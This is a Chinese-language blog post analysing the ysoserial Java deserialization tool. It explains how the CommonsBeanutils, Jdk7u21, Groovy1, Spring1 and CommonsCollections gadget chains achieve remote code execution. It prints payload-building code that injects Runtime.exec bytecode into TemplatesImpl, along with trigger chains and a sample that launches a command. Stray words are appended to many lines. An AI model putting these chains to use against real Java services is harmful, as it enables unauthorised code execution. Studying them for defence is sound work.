java反序列化工具ysoserial分析

0x00 前言


關於java反序列化漏洞的原理分析,基本都是在分析使用Apache Commons Collections這個庫,形成的反序列化問題。然而,在下載老外的ysoserial工具並仔細看看後,我發現了許多值得學習的知識。html

至少能學到以下內容:java

  • 不一樣反序列化payload玩法
  • 靈活運用了反射機制和動態代理機制構造POC

java反序列化不只是有Apache Commons Collections這樣一種玩法。還有以下payload玩法:git

  • CommonsBeanutilsCollectionsLogging1所需第三方庫文件: commons-beanutils:1.9.2,commons-collections:3.1,commons-logging:1.2
  • CommonsCollections1所需第三方庫文件: commons-collections:3.1
  • CommonsCollections2所需第三方庫文件: commons-collections4:4.0
  • CommonsCollections3所需第三方庫文件: commons-collections:3.1(CommonsCollections1的變種)
  • CommonsCollections4所需第三方庫文件: commons-collections4:4.0(CommonsCollections2的變種)
  • Groovy1所需第三方庫文件: org.codehaus.groovy:groovy:2.3.9
  • Jdk7u21所需第三方庫文件: 只需JRE版本 <= 1.7u21
  • Spring1所需第三方庫文件: spring框架所含spring-core:4.1.4.RELEASE,spring-beans:4.1.4.RELEASE

上面標註了payload使用狀況下所依賴的包,諸位能夠在源碼中看到,根據實際狀況選擇。github

經過對該攻擊代碼的分析,能夠學習java的一些有意思的知識。並且,裏面寫的java代碼也很值得學習,巧妙運用了反射機制去解決問題。老外寫的POC仍是很精妙的。spring

0x01 準備工做


  • 在github上下載ysoserial工具。
  • 使用maven進行編譯成Eclipse項目文件,mvn eclipse:eclipse。要你聯網下載依賴包,請耐心等待。若是卡住了,中止後再次執行該命令。

導入後,能夠看到裏面有8個payload。其中ObjectPayload是定義的接口,全部的Payload須要實現這個接口的getObject方法。下面就開始對這些payload進行簡要的分析。shell

0x02 payload分析


1. CommonsBeanutilsCollectionsLogging1

該payload的要求依賴包挺多的,可能碰到的狀況不會太多,但用到的技術是極好的。對這個payload執行的分析,請閱讀參考資源第一個的分析文章。apache

這裏談談個人理解。先直接看代碼:api

#!java public Object getObject(final String command) throws Exception {     final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);     // mock method name until armed     final BeanComparator comparator = new BeanComparator("lowestSetBit");      // create queue with numbers and basic comparator     final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);     // stub data for replacement later     queue.add(new BigInteger("1"));     queue.add(new BigInteger("1"));      // switch method called by comparator     Reflections.setFieldValue(comparator, "property", "outputProperties");     //Reflections.setFieldValue(comparator, "property", "newTransformer");     //這裏因爲比較器的代碼,只能訪問內部屬性。因此選擇outputProperties屬性。 進而調用getOutputProperties方法。  @angelwhu      // switch contents of queue     final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");     queueArray[0] = templates;     queueArray[1] = templates;      return queue; }

第一行代碼final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);建立了TemplatesImpl類的對象,裏面封裝了咱們須要的命令執行代碼。並且是使用字節碼的形式存儲在對象屬性中。
下面就具體分析下這個對象的產生過程。數組

(1) 利用TemplatesImpl類存儲危險的字節碼

在產生字節碼時,用到了JDK中javassist類。具體瞭解能夠參考這篇博客http://www.cnblogs.com/hucn/p/3636912.html
下面是我編寫的一個簡單的樣例程序,便於理解:安全

#!java @Test public void testClassPool() throws CannotCompileException, NotFoundException, IOException {     String command = "calc";      ClassPool pool = ClassPool.getDefault();     pool.insertClassPath(new ClassClassPath(angelwhu.model.Point.class));     CtClass cc = pool.get(angelwhu.model.Point.class.getName());     //System.out.println(angelwhu.model.Point.class.getName());      cc.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");");     //加入關鍵執行代碼,生成一個靜態函數。      String newClassNameString = "angelwhu.Pwner" + System.nanoTime();     cc.setName(newClassNameString);      CtMethod mthd = CtNewMethod.make("public static void main(String[] args) throws Exception {new " + newClassNameString + "();}", cc);     cc.addMethod(mthd);      cc.writeFile(); }

上述代碼首先獲取到class定義的容器ClassPool,並找到了我自定義的Point類,由今生成了cc對象。這樣就能夠開始對類進行修改的任意操做了。並且這個操做是直接寫字節碼。這樣能夠繞過許多安全機制,正像工具中註釋說的:

// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections

後面的操做即是利用我自定義的模板類Point,生成新的類名,並使用insertAfter方法插入了惡意java代碼,執行命令。有興趣的能夠再詳細瞭解這個類的用法。這裏再也不贅述。

這段代碼運行後,會在當前目錄生成字節碼(class文件)。使用java反編譯器可看到源碼,在原始模板類中插入了惡意靜態代碼,並且以字節碼的形式直接存儲。命令行直接運行,能夠執行彈出計算器的命令:

如今看看老外工具中,生成字節碼的代碼爲:

#!java public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {     final TemplatesImpl templates = new TemplatesImpl();      // use template gadget class     ClassPool pool = ClassPool.getDefault();     pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));     final CtClass clazz = pool.get(StubTransletPayload.class.getName());     // run command in static initializer     // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections     clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");");     // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)     clazz.setName("ysoserial.Pwner" + System.nanoTime());      final byte[] classBytes = clazz.toBytecode();      // inject class bytes into instance     Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {         classBytes,         ClassFiles.classAsBytes(Foo.class)});      // required to make TemplatesImpl happy     Reflections.setFieldValue(templates, "_name", "Pwnr");     Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());     return templates; }

根據以上樣例分析,能夠清楚看見:前面幾行代碼,即生成了咱們須要的插入了惡意java代碼的字節碼數據。該字節碼其實能夠看作是一個類(.class)文件。final byte[] classBytes = clazz.toBytecode();將其轉成了二進制數據進行存儲。

Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {classBytes,ClassFiles.classAsBytes(Foo.class)});這裏又來到了一個有趣知識,那就是java反射機制的強大。ysoserial工具封裝了使用反射機制對對象的一些操做,能夠直接借鑑。

具體能夠看看其源碼,這裏在工具中常用的Reflections.setFieldValue(final Object obj, final String fieldName, final Object value);方法,即是使用反射機制,將obj對象的fieldName屬性賦值爲value。反射機制的強大之處在於:

  • 能夠動態對對象的私有屬性進行改變賦值,即:private修飾的屬性。
  • 動態生成任意類對象。

因而,咱們便將com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl類生成的對象templates中的_bytecodes屬性,_name屬性,_tfactory屬性賦值成咱們但願的值。

重點在於_bytecodes屬性,裏面存儲了咱們的惡意java代碼。如今的問題即是:如何觸發加載咱們的惡意java字節碼?

(2) 觸發TemplatesImpl類加載_bytecodes屬性中的字節碼

在TemplatesImpl類中存在執行鏈:

#!java TemplatesImpl.getOutputProperties()   TemplatesImpl.newTransformer()     TemplatesImpl.getTransletInstance()       TemplatesImpl.defineTransletClasses()         ClassLoader.defineClass()         Class.newInstance()           ...             MaliciousClass.<clinit>()             //class新建初始化對象後,會執行惡意類中的靜態方法,即:咱們插入的惡意java代碼               ...                 Runtime.exec()//這裏能夠是任意java代碼,好比:反彈shell等等。

這在ysoserial工具中的註釋中是能夠看到的。在源碼中,咱們從TemplatesImpl.getOutputProperties()開始跟蹤,不難發現上面的執行鏈。最終會在getTransletInstance方法中看到以下觸發加載自定義ja字節碼部分的代碼:

#!java private Translet getTransletInstance() throws TransformerConfigurationException {     .............     if (_class == null) defineTransletClasses();//經過ClassLoader加載字節碼,存儲在_class數組中。      // The translet needs to keep a reference to all its auxiliary      // class to prevent the GC from collecting them     AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();//新建實例,觸發惡意代碼。      ............

defineTransletClasses()方法中,會加載咱們以前存儲在_bytecodes屬性中的字節碼(能夠看作類文件),進而返回類的Class對象,存儲在_class數組中。下面是調試時候的截圖:

能夠看到在defineTransletClasses()後,獲得類的Class對象。而後會執行newInstance()操做,新建一個實例,這樣便觸發了咱們插入的靜態惡意java代碼。若是接着單步執行,便會彈出計算器。

經過以上分析,能夠看到:

  • 只要可以自動觸發TemplatesImpl.getOutputProperties()方法執行,咱們就能達到目的了。

(3) 利用BeanComparator比較器觸發執行

咱們接着看payload的代碼:

#!java final BeanComparator comparator = new BeanComparator("lowestSetBit");  // create queue with numbers and basic comparator final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator); // stub data for replacement later queue.add(new BigInteger("1")); queue.add(new BigInteger("1"));

很簡單,將PriorityQueue(優先級隊列)插入兩個元素,並且須要一個實現了Comparator接口的比較器,對元素進行比較,並對元素進行排隊處理。具體能夠看看PriorityQueue類的readObject()方法。

#!java private void readObject(java.io.ObjectInputStream s)     throws java.io.IOException, ClassNotFoundException {     ...........     queue = new Object[size];     // Read in all elements.     for (int i = 0; i < size; i++)         queue[i] = s.readObject();     // Elements are guaranteed to be in "proper order", but the     // spec has never explained what that might be.     heapify(); }

從對象反序列化過程原理,能夠知道會首先調用該對象readObject()。固然在序列化過程當中會首先調用該對象的writeObject()方法。這兩個方法能夠對比着看,方便理解。

首先,在序列化PriorityQueue類實例時,會依次讀取隊列中的對象,並放到數組中進行存儲。queue[i] = s.readObject();而後,進行排序操做heapify();。最終會到達這裏,調用比較器的compare()方法,對元素間進行比較。

#!java private void siftDownUsingComparator(int k, E x) {     .........................         if (comparator.compare(x, (E) c) <= 0)             break;     .........................  }

這裏傳進去的,即是BeanComparator比較器:位於commons-beanutils包。
因而,看看比較器的compare方法。

#!java public int compare( T o1, T o2 ) {         ..................         Object value1 = PropertyUtils.getProperty( o1, property );         Object value2 = PropertyUtils.getProperty( o2, property );         return internalCompare( value1, value2 );              ..................     }

o1,o2即是要比較的兩個對象,property即咱們須要比較對象中的屬性(可控)。一開始property賦值爲lowestSetBit,後來改爲真正須要的outputProperties屬性。

PropertyUtils.getProperty( o1, property )顧名思義,即是取出o1對象中property屬性的值。而實際上會去調用o1.getProperty()方法獲得property屬性值。

到這裏,能夠畫上完美的一個圈了。咱們只需將前面構造好的TemplatesImpl對象添加到PriorityQueue(優先級隊列)中,而後設置比較器爲BeanComparator("outputProperties")便可。
那麼,在反序列化過程當中,會自動調用TemplatesImpl.getOutputProperties()方法。執行命令了。

我的總結觀點:

  • 只須要想辦法:自動調用TemplatesImplgetOutputProperties方法。或者TemplatesImpl.newTransformer()即能自動加載字節碼,觸發惡意代碼。這也在其餘payload中常常用到。
  • 觸發原理:提供會自動調用比較器的容器。如:將PriorityQueue換成TreeSet容器,也是能夠的。

爲了在生成payload時,可以正常運行。在代碼中,先象徵性地加入了兩個BigInteger對象。
後面使用反射機制,將comparator中的屬性和queue容器存儲的對象都改爲咱們須要的屬性和對象。
不然,在生成payload時,便會彈出計算器,拋出異常,沒法正常執行了。測試以下:

2. Jdk7u21

payload實際上是JAVA SE的一個漏洞,ysoserial工具註釋中有連接:https://gist.github.com/frohoff/24af7913611f8406eaf3。該payload不須要使用任何第三方庫文件,只需官方提供的JDK便可,這個很方便啊。 不知Jdk7u21之後怎麼補的,先來看看它的實現。

在介紹完上面這個payload後,再來看這個能夠發現:CommonsBeanutilsCollectionsLogging1借鑑了Jdk7u21的利用方法。

一樣,Jdk7u21開始便建立了一個存儲了惡意java字節碼數據的TemplatesImpl類對象。接下來就是怎麼觸發的問題了:如何自動觸發TemplatesImplgetOutputProperties方法。

這裏首先就有一個有趣的hash碰撞問題了。

(1) 「f5a5a608″的hash值爲0

類的hashCode方法是返回一個獨一無二的hash值(int型),去表明這個惟一對象。若是類沒有重寫hashCode方法,會調用原始Object類中的hashCode方法返回一個hash值。
String類的hashCode方法是這麼實現的。

#!java     public int hashCode() {     int h = hash;     int len = count;     if (h == 0 && len > 0)      {         int off = offset;         char val[] = value;         for (int i = 0; i < len; i++) {             h = 31*h + val[off++];         }         hash = h;     }     return h; }

因而,就有了有趣的值:

#!java String zeroHashCodeStr = "f5a5a608"; int hash3 = zeroHashCodeStr.hashCode(); System.out.println(hash3);

能夠看到」f5a5a608″字符串,經過hashCode方法生成的hash值爲0。這在以後的觸發過程當中會用到。

(2) 利用動態代理機制觸發執行

Jdk7u21中使用了HashSet容器進行觸發。添加了兩個對象,一個是存儲了惡意java字節碼數據的TemplatesImpl類對象templates,一個是代理了Templates接口的proxy對象,使用了動態代理機制。

以下是Jdk7u21生成payload時的主要代碼:

#!java ...... InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); ...... LinkedHashSet set = new LinkedHashSet(); // maintain order set.add(templates); set.add(proxy); ...... return set;

HashSet容器,就能夠當作是一個HashMap<key,new Object()>key即是咱們存儲進去的數據,對應的value都只是靜態的Object對象。

一樣,來看看HashSet容器中的readObject方法。

#!java private void readObject(java.io.ObjectInputStream s)     throws java.io.IOException, ClassNotFoundException {  .................... // Read in all elements in the proper order.     for (int i=0; i<size; i++) {         E e = (E) s.readObject();         map.put(e, PRESENT);     }//添加set數據 }

實際上,這裏map能夠看作是HashMap類生成的對象。接着追蹤源碼就到了關鍵的地方:

#!java public V put(K key, V value) {     .........     int hash = hash(key.hashCode());     int i = indexFor(hash, table.length);     for (Entry<K,V> e = table[i]; e != null; e = e.next) {         Object k;         if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {//此處邏輯,須要使其觸發key.equals(k)操做。             ..........         }     }     ......... }

經過以上分析下能夠知道:在反序列化HashSet過程當中,會依次將templatesproxy對象添加到map中。

接着咱們須要觸發代碼去執行key.equals(k)這條語句。
因爲短路機制的緣由,必須使templates.hashCode()proxy.hashCode()計算值相等。

proxy使用了動態代理機制,代理了Templates接口。具體請參考其餘分析老外LazyMap觸發Apache Commons Collections第三庫序列化問題的文章,如:參考資料2。

這裏又到了熟悉的sun.reflect.annotation.AnnotationInvocationHandler類。
簡而言之,我理解爲將對象proxy全部的方法調用,都改爲調用sun.reflect.annotation.AnnotationInvocationHandler類的invoke()方法。

當咱們調用proxy.hashCode()方法時,天然就會執行到了以下代碼:

#!java public Object invoke(Object proxy, Method method, Object[] args) {     String member = method.getName();     ............     if (member.equals("hashCode"))         return hashCodeImpl();         ..........  private int hashCodeImpl() {     int result = 0;     for (Map.Entry<String, Object> e : memberValues.entrySet()) {         result += (127 * e.getKey().hashCode()) ^//使e.geyKey().hashCode()爲0。"f5a5a608".hashCode()=0;             memberValueHashCode(e.getValue());     }     return result; }

這裏的memberValues就是payload代碼一開始傳進去的map("f5a5a608",templates)。簡要畫圖說明爲:

所以,經過動態代理機制加上"f5a5a608".hashCode()=0的特殊性,使e.hash == hash成立。
這樣即可以執行key.equals(k),即:proxy.equals(templates)語句。

接着查看源碼便知:proxy.equals(templates)操做會遍歷Templates接口的全部方法,並調用。如此,便可觸發調用templatesgetOutputProperties方法。

#!java if (member.equals("equals") && paramTypes.length == 1 &&         paramTypes[0] == Object.class)         return equalsImpl(args[0]);  ..........................  private Boolean equalsImpl(Object o) { ..........................     for (Method memberMethod : getMemberMethods()) {         String member = memberMethod.getName();         Object ourValue = memberValues.get(member); ..........................                 hisValue = memberMethod.invoke(o);//觸發調用getOutputProperties方法

如此,Jdk7u21payload便也完美觸發了。

一樣,爲了正常生成payload不拋出異常。先暫時存儲map.put(zeroHashCodeStr, "foo");,後面替換爲真正咱們所需的對象:map.put(zeroHashCodeStr, templates); // swap in real object

總結一下:

  • 技術關鍵在於巧妙的利用了」f5a5a608″hash值爲0。實現了hash碰撞成立。
  • AnnotationInvocationHandler對於equal方法的處理,可使咱們調用目標方法getOutputProperties

計算hash值部分的內容還挺有意思。有興趣能夠到參考連接中github上看看個人測試代碼。

3. Groovy1

這個payload和最近Xstream反序列化漏洞的POC原理有類似性。請參考:http://drops.wooyun.org/papers/13243

下面談談這個payload不同的地方。 payload使用了Groovy庫中ConvertedClosure類。該類實現了InvocationHandlerSerializable接口,一樣能夠用做動態代理而且能夠序列化傳輸。代碼也只有幾行:

#!java final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet"); final Map map = Gadgets.createProxy(closure, Map.class);         final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(map); return handler;

當反序列化handler時,會調用map.entrySet方法。因而,就調用代理類ConvertedClosureinvoke方法了。最終,來到了:

#!java public Object invokeCustom(Object proxy, Method method, Object[] args) throws Throwable {     if (methodName!=null && !methodName.equals(method.getName())) return null;     return ((Closure) getDelegate()).call(args);//傳入的是MethodClosure }

而後和XStream同樣,調用MethodClosure.doCall()方法。即:Groovy語法中"command".execute(),順利執行命令。

我的總結:

  • 能夠看到動態代理機制的強大做用。

4. Spring1

Spring1這個payload執行鏈有些複雜。按照常規步驟來分析下:

  • 反序列化對象的readObject()方法爲入口點進行跟蹤。這裏是org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider

    #!java private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {     inputStream.defaultReadObject();     Method method = ReflectionUtils.findMethod(this.provider.getType().getClass(), this.methodName);     this.result = ReflectionUtils.invokeMethod(method, this.provider.getType()); }

很明顯的嗅到了感興趣的」味道」:ReflectionUtils.invokeMethod。接下來聯繫payload源碼跟進下,或者單步調試。

  • 因爲流程可能比較錯綜複雜,畫個簡單的圖表示下幾個對象之間的關係:

  • 在執行ReflectionUtils.invokeMethod(method, this.provider.getType())語句時,整個執行流程以下:

    #!java ReflectionUtils.invokeMethod()     Method.invoke(typeTemplatesProxy對象)         //Method爲Templates(Proxy).newTransformer()

這是明顯的一部分調用,在執行Templates(Proxy).newTransformer()時,會有餘下過程發生:

#!java         typeTemplatesProxy對象.invoke()      method.invoke(objectFactoryProxy對象.getObject(), args);         objectFactoryProxy對象.getObject()             AnnotationInvocationHandler.invoke()                 HashMap.get("getObject")//返回templates對象         Method.invoke(templates對象,args)         TemplatesImpl.newTransformer()         .......//觸發加載含有惡意java字節碼的操做

這裏面是對象之間的調用,還有動態代理機制,容易繞暈,就說到這裏。有興趣能夠單步調試看看。

我的總結:

  • Spring1爲了強行代理Type接口,進行對象賦值。運用了多個動態代理機制實現,仍是很巧妙的。

5. CommonsCollections

CommonsCollections類,ysoserial工具中存在四種利用方法。所用的方法都是與上面幾個payload相似。

  • CommonsCollections1天然是使用了LazyMap和動態代理機制進行觸發調用Transformer執行鏈,請參考連接2
  • CommonsCollections2CommonsBeanutilsCollectionsLogging1同樣也使用了比較器去觸發TemplatesImplnewTransformer方法執行命令。
    這裏用到的比較器爲TransformingComparator,直接看其compare方法:

    #!java public int compare(final I obj1, final I obj2) {     final O value1 = this.transformer.transform(obj1);     final O value2 = this.transformer.transform(obj2);     return this.decorated.compare(value1, value2); }

很直接調用了transformer.transform(obj1),這裏的obj1就是payload中的templates對象。
主要代碼爲:

#!java // mock method name until armed final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);  // create queue with numbers and basic comparator final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));      ......... // switch method called by comparator Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); //使用反射機制改變私有變量~ 否則,會在以前就執行命令,沒法生成序列化數據。 //反序列化時,會調用TemplatesImpl的newTransformer方法。

根據熟悉的InvokerTransformer做用,最終會調用templates.newTransformer()執行惡意java代碼。

  • CommonsCollections3CommonsCollections1的變種,將執行鏈換了下:

    #!java TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl(command); ............. // real chain for after setup final Transformer[] transformers = new Transformer[] {         new ConstantTransformer(TrAXFilter.class),         new InstantiateTransformer(                 new Class[] { Templates.class },                 new Object[] { templatesImpl } )};

查看InstantiateTransformertransform方法,能夠看到關鍵代碼:

#!java Constructor con = ((Class) input).getConstructor(iParamTypes);  //input爲TrAXFilter.class return con.newInstance(iArgs);

即:transformer執行鏈會執行new TrAXFilter(templatesImpl)。正好,TrAXFilter類構造函數中調用了templates.newTransformer()方法。都是套路啊。

#!java public TrAXFilter(Templates templates)  throws  TransformerConfigurationException {     _templates = templates;     _transformer = (TransformerImpl) templates.newTransformer();//觸發執行命令     _transformerHandler = new TransformerHandlerImpl(_transformer);     _useServicesMechanism = _transformer.useServicesMechnism(); }
  • CommonsCollections4CommonsCollections2的變種。一樣使用InstantiateTransformer觸發templates.newTransformer()代替了以前的執行鏈。

    #!java TemplatesImpl templates = Gadgets.createTemplatesImpl(command); ............... // grab defensively copied arrays paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes"); args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs"); .............. // swap in values to arm Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class); paramTypes[0] = Templates.class; args[0] = templates; ...................

照例生成PriorityQueue<Object> queue後,使用反射機制對其屬性進行修改。保證成功生成payload。

我的總結:payload分析完了,裏面涉及的方法很巧妙。也有許多共同的利用特性,值得學習~~

0x03 參考資料


相關文章
相關標籤/搜索